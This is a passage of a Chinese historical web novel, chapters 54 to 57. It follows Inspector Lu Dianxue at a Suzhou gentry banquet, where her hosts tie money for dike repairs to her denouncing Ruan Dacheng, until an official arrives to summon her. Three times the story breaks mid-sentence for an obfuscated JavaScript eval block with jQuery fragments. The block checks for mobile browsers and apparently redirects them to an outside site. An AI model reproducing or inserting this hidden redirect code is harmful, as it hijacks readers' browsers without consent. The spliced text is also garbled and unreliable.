"这不是朝廷的公文,而是司礼监单独给你的,赵除佞这是何意?"
"还不是让我重审孙隆那件事,"
卢点雪嗤笑一声,语气颇为不屑,
“民变平息后,我呈给朝廷的供词,是来自那目睹黄建节征税惨遭毒打的卖瓜小贩。想来是这位督公对此不满,却又不能明着说,就这么语焉不详地打回来让我重审此案。"
"那你肯定没审,就这么拖着了。"
林凡安不假思索地下了定论。
他屈起手指,有意无意地敲击着桌面,略微蹙眉,
"但这终究不是个办法,万一你要是真因此触怒了赵除佞,这可如何是好?要知道,如今的他可谓是一手遮天,就连内阁也不能撼动他半分。"
"这也是我最近愁眉不展的原因。不过,有一点你提醒了我——"
卢点雪起身,大步流星地走出去,朗声道,
"既然苦苦思索反着净相,倒不如见机行事,坦然面之,不知我这可算是行而未知?"
"那也不一定,"林凡安点点头,微微一笑,“真知即为行,须在事上练,不是吗?"
*
顾老府上。
虽然是做好了心里准备,但在李平进门的一刹那,还是被府上繁华的场景给震慑到了。
他的脚步不由自主地停下,心中不免打起退堂鼓。
然而这个念头刚浮上来,就被卢点雪看穿并无情地制止。
"舒和兄,当初咱们不是在寒山寺里说好了吗?无论如何,绝不退缩!"
卢点雪一把抓住李平的衣袖,悄悄附耳低语道。
"话是这么说的,可邓知县和林凡安没告诉我会有这么多人呐!"
李的平面上仍竭力保持着一个得体的表情,可他略微颤抖的语气却暴露了他极度慌乱的内心。
他话音刚落,门口就传来了下人通报的声音:
“两淮巡盐御史,何裘何大人到——!"
"他怎么也来了?"
卢点雪有些意外,未曾想过会在苏州碰见此人。
"两淮盐运司上上下下都被他整治得差不多,他也是该来江南各地收缴盐税了。"
李平倒是见怪不怪,煞有其事地点点头。
不过在听到何裘的到来后,他反倒是长舒了一口气。
“听闻此次何御史巡盐大有成效,备受盐商和朝廷信赖,可谓是江南一带的红人儿。我还真挺好奇,他是如何既不得罪盐商又能收来这么多银子的?”
不怪卢点雪疑惑,实在是她对何裘先前的事迹着实印象不佳。
“你可别因朱丸案那事小瞧他!那纯属是个意外,何御史的本事可大了呢。”
李平的头摇得跟拨浪鼓似的,为卢点雪详细说明道,“何御史通过小盐法来疏销盐引壅积的问题。减轻盐斤,稍增引目,以多销积引,一则宽恤商人,二则疏通引目,效果着实显著。”
“其次,他还向朝廷议减开中,恢复常股存积之分,七分常股照常开中,而存积三分,暂行停止。又于陕西等三边开引种盐,使引目减少,商皆趋之,让内商支盐加快的同时又不使边商之引不售,令边商内商各得其愿。”【1】
“难怪之前你敢借他的名号吓唬邓知县,这政绩确实令人叹为观止。”
卢点雪感叹道。
不过这话李平并未听见,因为他正好与何裘打了个照面,得过去寒暄一番。
待与何裘打过招呼后,李平便折回卢点雪的身边,满怀期冀地问道:
"既然何御史也来了,那我是不是可以让他和你代为转达一下本府的意思?澄怀你是知道的,我向来不太擅长应酬这些场面……反正我们大家都是一伙的,对吧?"
"你想得美,"卢点雪毫不留情地打断了他的幻想,"不然我就以巡按御史的身份写一份弹劾你玩忽职守的奏疏,待何御史回京述职后,让他亲自交到季尚书到手中。"
"这不太合适吧,"李平一下子漏了气儿,悻悻道,"万一我太过紧张,中途出了岔子怎么办?"
"没有关系,我想这些苏州士绅还是会给你这位知府一点面子的,不至于当面取笑你。"
卢点雪沉声道,继而像是想起了什么,恨铁不成钢地问道,
"你当初为我接风的时候不是还好好的吗,怎么现在竟如此畏惧应酬?这不是越活越过去了?"
"不是,"李平弱弱解释道,"那是因为当时各地知县都齐刷刷地跟我表示他们有事来不了,迫于无奈,只能让我为新任巡按御史接风洗尘。还好最后澄怀你是只身一人前来的,不然我还不知道该怎么和旁人客套才是……"
"嗬,没想到舒和兄在苏州也不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15022741|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎么受待见……怎么说我俩也算是难兄难妹,有什么事我与你共进退。"
卢点雪同病相怜地拍了拍李平的肩以示宽慰。
她好言相劝了半天,才终于让李平鼓足勇气,迈进人声鼎沸的花厅中。
宴席上的场景甚为热闹,宾朋满座、觥筹交错。
这热烈得有些过了头的气息,就连卢点雪也略微有些不适。
面对着一堆全然陌生的面孔,她虽不如李平那般拘谨,但也仍有些不自在,尤其是无时无刻都需要假笑这一点。
平生第一次,她有种脸都快笑僵了的感觉。
趁着旁人都去恭维问候李平李知府的时候,卢点雪终于能够松口气,眼角余光悄悄地打量着四周的环境。
李平被围得根本看不见人,情况不明;林凡安也没闲着,在厅内一隅,故弄玄虚地讲着经商之道。
不过,除了她一人,似乎还另有旁人在暗中注视着林凡安。
卢点雪顺着目光望去。
定睛一瞧,她不免有些诧异。
此人看林凡安做甚?
还未等卢点雪反应过来,那道目光的主人已敏锐地察觉到了卢点雪的视线。
"卢巡按,久仰久仰。"
何裘朝着卢点雪微微一笑,点了点头。
不过这幅笑容在卢点雪看来,似乎有些勉强。
像是为了掩盖什么,不待卢点雪回话,何裘则率先开口询问道,
"在下见那位富商颇有来头,卢巡按可知那位是谁?"
"林凡安,扬州泰兴人士,主营茶叶。"
卢点雪瞅了一样林凡安,心念一转,如实回道。
同时,她也正不动声色地,细细打量着何裘。
果不其然,在何裘听到林凡安的名字和籍贯后,面色有了一些细微的变化。
然而就在她说到"主营茶叶"时,他的神情似乎有些困惑。
不过这缕困惑转瞬即逝,被何裘掩盖得很好,转而以一种恍然大悟的模样出现在面上:
"原来如此,他的名头我在扬州也曾听闻过,如今倒是瞧见正主了。"
"在下也是如此心情,真是百闻不如一见。晚辈也曾听父亲讲过,何御史尚为泰兴知县时就与家父有所交情。如今您又贵为巡盐御史,真是可喜可贺啊。"
不知何时,林凡安走了过来,接过何裘的话头。
何裘先是一愣,半晌才回过神来,讪讪一笑,
"竟是故人之子,时隔多年,我竟没瞧出来。"
随后二人开始攀谈,叙叙旧,聊起了盐政。
卢点雪对盐政一窍不通,也没这个兴趣去深入了解,便一边有一搭没一搭地听着,一边观察着二人的神色。
何裘的模样瞧着有些勉为其难,而林凡安更是反常。
一个素来不喜与人交往过密的人,竟强拉着何裘一起侃侃而谈,全无要结束的意思。
卢点雪只觉新奇,正暗自思忖着这何裘是不是和林凡安曾有过什么过节,忽觉背后有一目光正灼灼地盯着她。
她回头一看,竟是此次宴席的主人,顾老先生。
面对卢点雪的回视,顾老浑然不觉尴尬,自然而然地略抬下颌,点头示意。
瞧这架势,在场所有人的一举一动,他全看在眼内。
又是一个难对付的老狐狸。
卢点雪心中暗骂一声,面上却仍端着一副假笑。
她随即离开何裘与林凡安身边,去人群中把早已是手忙脚乱的李平给捞了出来,一同朝着顾老走去。
这宴席还未开场就已如此热闹,还真是令人头疼。
55. 第 55 章
随着顾老一声令下,这场盛大的宴会也就开席了。
侍者们捧着琳琅满目的菜式鱼贯而入。
待菜上得差不多后,卢点雪好奇地尝了一口看似是蹄膀的菜品。
嗯,好吃是好吃的,口感软烂,肥而不腻。
就是有些太甜了。
卢点雪来到苏州已有一段时日,但仍未习惯这里的口味。
金陵的食物虽说也是偏甜口的,但终归比不得苏州这般嗜甜。
放眼望去,满桌的菜,一时她竟有些难以下筷。
坐在主桌的顾老似乎看出了她的为难,主动招呼她:“卢巡按可是吃不惯这万三蹄?”
“是有些。”
卢点雪颇为拘谨地点了点头,但不也想扫了主人家的兴致,顿了顿,补充道,
“不过无妨,我从前从未尝过,第一口觉着有些新奇,吃习惯了便也觉得甚为美味。”
“卢巡按不必如此客气,来着为客,是老夫招待不周,没顾及到卢巡按的口味。既然如此,来人,为卢巡按换道。”
顾老话音刚落,便有侍者躬身上前为卢点雪撤了眼前的菜。
片刻后,又有侍者端上来一道一模一样的菜,似乎是刚出锅的模样,仍是热气腾腾的。
“老夫本以为卢巡按在崇正书院就读时就已习惯了偏甜一些的菜式,看来还是老夫先入为主了。”
“为了以防客人吃不惯老夫这里的口味,也备了些没那么甜的菜式。而这万三蹄又是我们苏州一道名菜,值得一品。卢巡按,不妨再尝尝——?”
顾老笑眯眯地望着卢点雪,卢点雪盛情难却,只得再次举筷品尝。
确实,这一次的甜味明显比上一次的淡了许多。
卢点雪接着又吃了几口,只觉胃口大增,便向顾老微笑示意:“多谢顾老款待,这个甜度正合我意。”
“那就好。”
顾老眉开眼笑,眼神落到正在埋头苦吃以免旁人注意到自己的李平身上,乐呵道,
“其实老夫还不算是个嗜甜之人了,论起这个,还得是礼部的季优游季侍郎。哦不对,如今人家已经是季尚书了。他吃糖最为厉害,毕竟这位可是常州府无锡县人!”
“京里有个不成文的规矩。无论是京里的王公贵戚,还是达官显宦,唯去此二家的筵席前需得填饱肚子,一个是陶王府,另一个就是这季尚书的府上。李知府,不知我这话说得可对?”
“唔嗯嗯——顾老所言极是。”
听到自己突然被主人家点名,李平慌里慌张地抬起头,急忙将口中的食物咽下,正色认真道,
“这是真的,老师尤为嗜甜,他府上的菜,呃,比较挑人。”
“菜挑人?李知府这话说得当真有趣。”
李平话音刚落,何裘便笑呵呵地接了下去,
“犹记得在下与李知府同为科道官之时,一日早朝前,尚书大人招呼我和李知府一道用早膳。那日的菜式我至今都记得特别清楚,其中有一道是无锡小笼包——”
“诶诶诶,何御史,往事不可追忆啊……”
一听到这个,李平顿时局促了起来。
然而他这幅神情落到众人眼里,更是激得在场诸人开始起哄,闹着何裘让他说下去。
气氛热烈至此,何裘也兴致高涨。
在众人的瞩目下,他清了清嗓子,继续道,
“那是正儿八经的无锡灌汤小笼包,不是京城里那种面皮厚实的小肉包。许久不见如此精致的膳食,我与李知府甚为感动,故而想都没想就一口一个——”
“于是乎那日早朝,我俩的嗓子仿佛都被糖给齁住了,一句话也说不出来。”
“彼时,先帝爷的目光往我们这来回瞟了好几眼,确定今日我们几个最能弹劾人的科道官没有任何要讲话的意思,这才宣布散朝。”
“刚下朝,季尚书就把我和李知府找了过去,问我们:方才早朝你们怎么一个两个都不作声?可是小笼包不当饱?要不回去再多吃几个?”
何裘讲着讲着,连自己都忍不住了,随着人群哄然大笑起来。
徒留李平一个人红了脸,低着头使劲扒拉米饭以掩饰自己的尴尬。
“怪不得同行都说,在季府附近,永远不愁卖不完糖。”
林凡安闻言也莞尔一笑,风趣地打趣了一句,又引得顾老忍俊不禁。
“好了何御史,李知府脸皮薄,给人家留些面子。”
顾老微微摇了摇头,示意何裘适可而止,随后又望向李平,亲切问道,
“那这次李知府吃得可合乎口味?若是觉得太甜大可不必勉强自己,老夫也让人给你换个同卢巡按一样的口味来。”
“不必了不必了,有劳顾老费心了,这个我吃得甚好,甚好,好得不得了!”
李平如捣蒜般疯狂点头,生怕顾老以为自己是在客套。
他还将碗翻转过来,露出一个快要见底的碗底,发自肺腑地夸赞道:
“不是说玩笑话,您府上的厨子做的万三蹄,可是我在苏州府吃过的最好吃的万三蹄!”
“李知府和诸位宾客喜欢就好。”
顾老捻着胡须,高兴得那叫一个满面荣光。
不知何时,他的目光又落到卢点雪身上,主动道“说来,卢巡按可知这万三蹄的来历?”
“不知,还请顾老赐教。”
知道这是顾老有意搭话,卢点雪便顺手推舟,谦逊地低下了头,做出一个洗耳恭听的模样。
“好吧,既然卢巡按不知,那就让老夫为卢巡按来叙一叙这其中的故事吧!”
听到意料之中的回答,顾老满意地点点头,开始了:
“话说太祖年间,我们苏州有一巨贾,他富可敌国,可谓是江南第一富商。呵呵,想来在座的诸位都已知道他是谁了……”
“沈万三,”林凡安答道,露出一个了然的笑容,“可是我们这的财神爷呢。”
“是也,”顾老与他一唱一和到,“沈万三之富,连太祖皇帝都有所耳闻。一日,太祖访万三,万三以猪蹄膀相待。太祖见之,甚疑,问其吃法。”
“众所周知,圣上面前是不兴动刀的,而这蹄膀又是整块没有切开的。若是用刀割肉,圣上定会治他沈万三一个死罪。”
“生死攸关之际,沈万三临机一动,从蹄膀中抽出一根细的骨头来,以骨切肉,总算保了自己的一条小命。”
“这便是万三蹄吃法的由来。”
顾老话说着,顺势用他面前的那道万三蹄演示起来。
不得不说,这万三蹄炖得极为软糯酥烂,只轻轻一扯,一拨,那滑腻腻的肥润皮肉便轻而易举地从骨头上剥离出来,一片一片,宛若花瓣一般,层层叠叠地绽放在汤卤之间。
“无需刀刃,唯求这一根主心骨,其之效亦可媲与利刃。卢巡按,你觉得如何?”
此话一出,桌上大部分人的目光都极有默契地一同落到卢点雪身上。
卢点雪面上没什么动静,心里早已哂笑不已。
兜兜转转绕了这么大一个圈子,终于要说到正题了。
“顾老方才所言晚辈受教了。只是在下觉得,您似乎话里有话,恕晚辈愚钝,还请您老明示。”
“卢巡按啊卢巡按,都说你冰雪聪明,可万万别跟老夫揣着明白当糊涂啊。”
顾老摇摇头,意味深长地瞥了她一眼,随后似是漫不经心向她问起一个人,
“说来卢巡按可知那匿居在金陵的阮大铖?”
“阮大铖?可是安庆府桐城人士?那个自幼便以才气而出名的江南第一才子?”
“是也,不过纵有才华又如何?若是立身不正,还不是遭世人唾弃!”
只听顾老冷哼一声,眼里满满都是轻蔑。
卢点雪有些意外,不知为何顾老要突然谈及到此人。
她也只是曾听原社的社员们谈及过他。
彼时众人皆对其才气赞不绝口,期冀他投身到崇正君子门下,于朝廷之上扫清寰宇、激扬文字,却从未听他们说过阮大铖就在金陵城内?
何况今日听顾老口气,怎倒完全不是这么一回事儿?
卢点雪正困惑着,电光火石间,她忽想到方才顾老提的“匿居”一词。
于是一个想法在她脑海中浮现,难以置信地脱口而出,
“他可是投了崇正,又转投到阉党去了?”
“没错,先前他自诩为清流,与小阁老相交好,曾与我争夺过吏科给事中这个位子。”
何裘应了一声,道出了来龙去脉,
“给事中的官阶虽不高,但胜在有封驳奏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037887|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
章与弹劾官僚之权。尤其是吏科,吏科为六科之首,可影响吏部的决策。”
“若是按资历,理应是由他阮大铖担任。然或许是他时运不济,竟然被魏阁老放到了六科最末的工科给事中的位子上。”
“正因此事,阮大铖自此便疏远我们,亲近阉党,为夺权无所不用其极。”
“之后我因卷入朱丸案而遭削职,吏科给事中一职再度空缺。此次阮大铖如愿以偿,终于在赵除佞与梁纲的帮助下坐上了这个位子。”
“正因如此,阮大铖这状若墙头草两边倒的举措触怒了不少人,旋即遭到我派的群起攻击。在位不到一个月,他就辞职回乡了。”
“今年年初,阉党主政,阮大铖被赵除佞召回京城担任太常少卿。”
“虽然阮大铖依靠阉党复出,但他甚为担心舆情,所以他身在阉党,又不敢太过亲近阉党。每次拜谒赵除佞后,都要贿赂赵除佞的门房,将自己的拜谒名帖收回,以防落人口实。”
“不久矿税使出,引得各地巡抚纷纷上疏要求取消矿税。阮大铖兴许是觉察到了这其中的暗流涌动,故而几个月后又辞官不干了。”
“……真是精彩纷呈的人生啊。”
卢点雪听了良久,由衷地发出一声感叹,
“所以,阮大铖如今隐居在金陵,是因复出后又辞职,触怒了阉党?”
“呃,也不完全是,”
说到此处,何裘稍微地停顿了一下,面色一下子变得古怪起来,
“毕竟这件事跟他之后做的事比起来,算是小巫见大巫了。”
“?”
“他还能做何事?”
“就在卢巡按你南下苏州,惩治孙隆的前夕,阮大铖给他的朋友,同时也是阉党成员杨维垣留了两封书信,一疏专劾阉党弄权,一疏合算阉党和崇正的过错。”
“他秘告诫杨维垣,命其见机行事。如果时局大变,崇正得势,就上劾赵、梁疏;若时局不明朗,就上合算疏。”
“时值杨维垣假意中立,并参崇正与找、梁为□□。他接到阮疏后大喜,只觉甚投其意,于是投了合算疏。此举算是彻底坐实了阮大铖的阉党身份。”
“嗯?那旁人是如何知晓此事的?想必此二封奏疏未投之前定极其隐秘,不应只有天知,地知,阮大铖知,杨维垣知吗?”
此时卢点雪已被惊得瞠目结舌,半晌才回过神来,抛出一个疑问。
“奏疏究竟是如何泄露的,具体我们也不知,”何裘坦白道,“只是忽有一日邸报上刊登了这一则消息,自那时起,阮大铖这奸邪小人的行为也就广为天下人所知了!”
“可此人仍贼心不死,不安于现状,蛰伏在金陵期间,表面上随遇而安,没事写写戏曲,逍遥自在,实则时时留心政局,并未自甘寂寞,还想法设法地与我们重修旧好。”
至此,久久不发声的顾老长叹一口气,愤愤道,
“为保全自己,不惜以怨报德,对旧主落井下石。而自家失势,还不忘反咬崇正一口,期冀两败俱伤,以绝崇正日后报复之门径,当真是好歹毒的心肠!”
“更何况现如今孙隆失势,落荒而逃,朝内程阁老等一众赤胆忠心之臣又为赵除佞所害,皇上震怒,命人彻查,我等在野之人,于情于理也不该坐视不管,为还崇正之清白而奔走呼号!”
“理应如此,理应如此!”
何裘连声附和,目光似有若无地落到卢点雪身上,意有所指道,
“所幸,金陵城内还有一团体能够予以阮大铖致命一击,那便是原社。”
“去年金陵乡试,原社中有很多人中举。时人以为入原社易中举,于是入社者猛增,最多时达数万人。更有张天如广邀各地名士,与众生员共赴金陵大会,集于秦淮,舟游尽欢。原社的兴盛,不可谓不是阮大铖心腹大患啊。”
听到此处,卢点雪心下一凉,差不多猜到接下来要发生的事了。
果不其然,接下来顾老开了口。
他笑容满面地盯着卢点雪,缓缓说道,
“听闻卢巡按素来与张天如相交好,是原社的主心骨,一手文章又写得出神入化,不愧为新科状元。而近期原社的虎丘大会又将在苏州郊外的虎丘举行。不知你可有意,于虎丘大会上仗义执言,敢为天下先,率众讨伐阮大铖?!”
56. 第 56 章
闻言,卢点雪并没有吭声。
有了云梵的提醒,再加上何裘甫一提原社的事,她就隐隐有了预感。
这些在野乡绅八成是要让她去冲锋陷阵,对付阉党。
她就知道顾老家的这顿饭,哪是这么容易吃上的。
瞧瞧,不是说好了这顿饭是来商量募捐的吗?她还没开口说正事,这帮人反倒致使起她了。
原社和崇正的大本营都在金陵,他们甚至都可以集结一大帮士子跑到阮大铖家去对骂。何必舍近求远,偏偏要她一个无根无基的七品巡按?
既然消息这么灵通,那么想必也不难知道她和张天如的关系也就那样,算不上什么深交。
与其让她在虎丘大会上仗义执言,还不如在金陵的官员里随便挑个熟识的更为合适。
这些人打的什么心思,当她真不明白吗?
不就是不想自己亲自露面,所以找个年轻而又冲动的糊涂的生来当替死鬼,面上还能假心假意地说是给小辈一个扬名天下的机会。多好,好事美名全让他们占了。
再者她是真的很忙。
就算不忙她也不想趟这趟浑水,齐涵虚的下场正是前车之鉴。
赵除佞要她重审的案子还一直未审,这么拖着也不是个办法。
她这个应天巡按本身就是泥菩萨过河自身难保,何况她又毫不留情地处置了孙隆,还不知道赵除佞在京里是个什么反应,接下来又将会对她有何动作。
她可没忘记孙隆先前对她说过的话,眼下赵除佞还有两大爪牙也在江南呢。
跟江南士绅们打好关系是有必要的,不然她想在南直隶做事简直是寸步难行。
从内廷就可以看出来,这些江南地区出身的士大夫们沆瀣一气,互抱成团,就连皇上也难以撼动他们。
但是在这个节骨眼儿让她直接站出来反对阉党,基本上和找死无异。
连积威甚重的程阁老都被他打入诏狱折磨致死,这不得不迫使卢点雪思考起自己的退路。
她是得罪了赵除佞不假,但对付孙隆的时候她也没真把事做得那么绝,后续还是有可转圜的余地,这恐怕就是赵除佞迟迟没有对她直接动手的原因。
不然此时赵除佞的态度绝不会这么温和,仅仅是书信一封让她重审案子这么简单的。
某种意义上而言,她觉得阮大铖的眼光看人是真准,阉党和崇正党确实都不是什么好人。
方才在听何裘讲话的时候她就在琢磨,为何杨维垣这个阉党中人偏生要这么做?
现在她倒是明白了此人的一番苦心。
官场上绝无蠢人,杨维垣和阮大铖愿伤敌一千自损八百,尤其是将都有过通内之举的崇正、赵党并指为□□,想来是有这么些心思。
此乃局势所逼,而不得不为之。
因赵除佞对程阁老等一众大小官员的迫害,如今朝官竞相揭举赵除佞及其党羽罪状。皇上为平息民愤,也处置了不少投附赵除佞的官员。
在这种局势下,想继续保全所有同党是不明智的。
故而杨维垣和阮大铖就想出来这么个法子,企图保全朝中那些曾投附过赵除佞,后因故而被其疏离的那些人。在现在这种混乱的形势下,他们与赵除佞这种时合时离的关系或许可以蒙混过关。
杨维垣想来就是这么打算的:其一,投合算疏造成立言为公的印象。其中铲除朝中朋党的主张,易于博取皇上和舆论的支持,同时也可以表明自己与朋党并无关系。
其二,因为崇正自身也曾有通内之举,在揭举赵党时可能会有所顾忌,这无疑对赵党有利。
其三,以崇正为□□的看法如果被皇上认同,那么崇正在政坛上的地位也必然会受到影响。
这一切的目的,皆是为了尽量保全魏党同时挟持崇正。
这也不乏是一种以退为进的自保手段,与其被迫等着被崇正的言官们弹劾,不如率先出击掌握主动权。
不过,卢点雪倒是觉得,赵除佞本人怕是懂不了此二人的一番用心良苦。
就他那小肚鸡肠睚眦必报的品性,八成会认为是杨维垣和阮大铖全都反水了。之后那二人若是不跟赵除佞说明白,极有可能会遭到赵除佞的报复。
如此一想,卢点雪倒是觉得完全无甚必要去讨伐个阮大铖。
除了激励民间反抗赵除佞的士气以外,其余并无什么实质性作用,反倒会让被煽动起来的百姓招惹祸患。
这就是她要对孙隆下此狠手的原因。
不若让孙隆将仇恨全部转移到自己身上,苏州府这些参与民变的百姓迟早要倒霉。
何况,她觉得近来原社和崇正党走得实在是太近了。
不消多说,卢点雪肯定是拒绝。
只是这面子功夫上还得再装一装,不能闹得太难看。
“顾老说得极是。您瞧,这阉党就宛若眼前的这碟万三蹄,看起来硕大无比,无懈可击,可只要找准了这一根主心骨,自内而外击破,那它便也任人处置了。”
“如今阉党出了阮大铖这般的人物,赵除佞想必也对他恨之入骨,恨不得欲除之而后快,我们可从此人入手,从内部逐渐瓦解阉党。”
随后她话锋一转,旋即换了副神情,犹豫再三,假意为难道:
“只是顾老,我虽有心为此出一份力,但是您也知道,我这应天巡按本就坐得不太稳当……
“不瞒您说,赴任前赵除佞就给我提了醒儿,若是在京察前我没把南直隶治理好,那么他就要新账旧账一起算。并且待我与李知府筹集完兴修水利的银子,再去各县吊刷一下文卷,差不多就要动身去金陵督促国子监监生清查黄册了。您看,我这实在是抽不出空啊。”
说道最后,卢点雪还特意放缓了语速,就等着看顾老的神情变化。
一切如她所料。
初时,顾老听着她的话时还眼带笑意,频频点头。
可一旦当她提到筹集银子的事时,他眼中的笑意霎时就消散了,眉头还时不时跳动几下。
“哈哈,卢巡按原来是为此事而忧虑,何不早些说与老夫听!这顿筵席,本就是为兴建水利而筹款的,何必如此客气!”
顾老终究是经历过宦海沉浮的老人,相当耐得住性子。
听到卢点雪这般婉拒,他也不生气,侧身向林凡安吩咐道:“林老板,将老夫与你一道准备的银票拿出来给卢巡按吧。”
林凡安应声而来,从胸口掏出几张票子,轻轻放到卢点雪面前。
卢点雪一瞧,笑而不语。
两张二百两的银票和若干张大琝宝钞。
她的目光稍稍往旁偏了偏。
嗯,是黄花梨木双螭如意纹圈椅。
再往前一看,是铁力木板足开光条几。线条含蓄内敛,不显呆板,一看就是出自苏作名家之手。
光是这一几一椅,没个五百两,她是绝对不信的。
大琝宝钞就不用说了,面额瞧着唬人,实则早已是废纸一张。
除了发官员俸禄的时候会被折色成同等价值的宝钞,其余时候宝钞并无任何用处。
别说,她都有些怀疑这四百两银票是不是全是林凡安出的,那些宝钞才是顾老自己出的。
卢点雪意味深长地瞅了一眼林凡安。
兴修水利的账目,她当初可是让邓礼和李平一起交给顾老的。
林凡安和顾老关系这么好,他是不可能不知道这些钱是远远不够的。
然而林凡安没啥反应,像个木头桩子一般杵在那,反倒是顾老继续道:
“卢巡按,这是老夫与林老板目前所能拿得出来的所有现银了。不瞒你说,苏州的水患还有孙隆的苛捐杂税你也是看在眼里的,因此林老板的铺子无可避免地也受了不少影响,拿得出来的钱统共也只有这些,能出一点是一点吧。”
“是的是的,我们也合该出份力!”
像是约好的一般,在座的各位纷纷相应,开始从身上翻找。
大都摸出来的都是碎银,极少有身带银票的。
就连何裘也不例外。
他摸了半天,从袖子摸到胸口,结果只摸到几张盐引。
发现盐引的时候,何裘还暗暗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060650|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地瞥了一下林凡安,见他无动于衷,便又收了回去。
唯独李平李知府,一下子就摸出个一千两银票,豪情万丈地掷在桌上。
此情此景,就连顾老也有些诧异。
“李知府,你这是——?”
他顿了下,斟酌片刻,委婉道,“李知府量力而行就好。倘若这是李知府的全部家当,岂不得不偿失?”
“无妨,百姓有难,我岂能坐视不管?”
李平摆摆手,一脸无所谓的样子。
“这张银票是我赴任前老师交予我的,说这钱就是用来应急的。本府思来想去,觉得现如今没有什么比兴修水利更为重要的事了,还是拿它去修堤坝吧!”
此话一出,在场的所有人无不沉默。
对此,卢点雪对李平的品行愈加赞赏,对林凡安愈加鄙夷。
抠成这个样子,方才掏钱的时候也不害臊哦!
不过,想来林凡安和旁人也是得了顾老的授意,就算是想多给恐怕也不行,至少明面上不行。
如此一来,她就更不能收李平的银票了。
想到这里,卢点雪眉梢一挑,截下了李平那只硬要把钱怼到她面前的那只手,转而面向顾老发问:
“那么请问顾老,倘若我现在就向朝廷修文,工部要是愿意拨款的话,还需多少时日才能收到呢?”
“收不到的,”顾老直直的注视着她的眼眸,慢条斯理道,“眼下时局动荡,朝廷大乱,你的书信说不定还没到京城,就被阉党的人给半路截走了。”
“不过,若是卢巡按还愿意考虑一下虎丘大会讨伐阮大铖的事的话,老夫这还是有几分门路能让卢巡按的奏疏畅通无阻,直达上听的。”
“如何,卢巡按再考虑下吧?不妨先喝杯佳酿再说?老夫不急于这一时答复的。”
顾老一边说着,一边亲自倒了杯酒,不由分说地递与卢点雪。
李平虽说有些迟钝,方才众人集体掏钱的时候没反应过来众人的用意。
可如今看到顾老劝酒时他便立即回过神来,起身就想为卢点雪挡酒,却被何裘不动声色地给拦下了。
面对李平的好意,卢点雪看在眼里记在心里。
不过这种事,还是得她自己扛。
于是乎卢点雪直接接过这杯酒,一饮而下。
“确实是杯好酒,多谢顾老款待。这些小事还劳得顾老您亲自出马,晚辈实在过意不去,愿自罚三杯!”
不待顾老发话,卢点雪一把拿过酒壶,将酒杯哗哗地满上,连饮三大杯,微笑以对。
这个结果,属实有些出乎顾老意料。
顾老迟疑,着想要开口说上几句。
然卢点雪并未给他这个机会,直接从怀中掏出一份书信,叹气道:
“本来这件事我也不想说与您听省得您忧心。可它确实让我忧愁忧思,辗转反侧,我就与您直言吧。毕竟涉及到阉党,我不敢轻举妄动,您要不也看看这里头说的是什么——”
“哦?本官竟不知道卢巡按竟也有不敢轻举妄动的时候?”
忽然间一声高昂的陌生嗓音自远处而来。
卢点雪一悚,扭头望去,一群缇骑簇拥着一个男子直入大厅。
顾老一愣,随即怒不可揭。
可他正欲发作之时,猛然间瞥到那人身上的绯色官袍,顿时如鲠在喉。
“来者何人,为何擅闯我顾府?”
顾老哽咽半天,方才问出这么一句话。
“在下应天巡抚毛一鹭。听闻顾老在设宴款待苏州府各级官员。正好本官今日路过,特来此凑个热闹。”
来者虚行一礼,态度瞧着颇为散漫,“顾老失礼了,此次不告而来擅闯贵府是我不对,可也是时势使然,不得如此。”
“我此次前来只有一个目的,便是来找卢巡按的。”
他的目光便如鹰隼一般,直勾勾地射向卢点雪。
面上虽是在笑,可那语气却宛若淬了毒的匕首,听着令人不寒而栗,
“那么敢问卢巡按,督主交代你做的事,你,做了吗?”
57. 第 57 章
毛一鹭虎视眈眈,卢点雪不动如山。
“多谢厂公挂念,”卢点雪沉声道,“只是近期公务繁忙,又要与在场诸位共商水利兴建之事,一时半会儿抽不出身,实属抱歉。”
“哦,那我瞧卢巡按眼下甚为清闲,不如现在就随我回趟衙门,一同把事办了吧?”
毛一鹭觑了一眼卢点雪,轻笑一声,做了个“请”的手势。
“敢问毛中丞,我苏州府可是出了什么大事,值得惊动您和卢巡按共同处理?”
顾老拧着眉毛问了一句。
他方才一直在观望形势。
毛一鹭这架势,明显就是直冲着卢点雪而来的。
据他先前所得到的消息,照理说这几日毛一鹭是不该在苏州的。
除非赵除佞给他发了急报,让他来苏州府找麻烦。
再结合起之前卢点雪被打断的话,和她手上拿出来的东西,极有可能是跟阉党有关。
既然如此,那就更不能让毛一鹭把人给带走了。
“公事公办,闲杂人等勿要干涉!”
毛一鹭眼皮子一掀,以一副不容拒绝的态度,径直回绝了顾老。
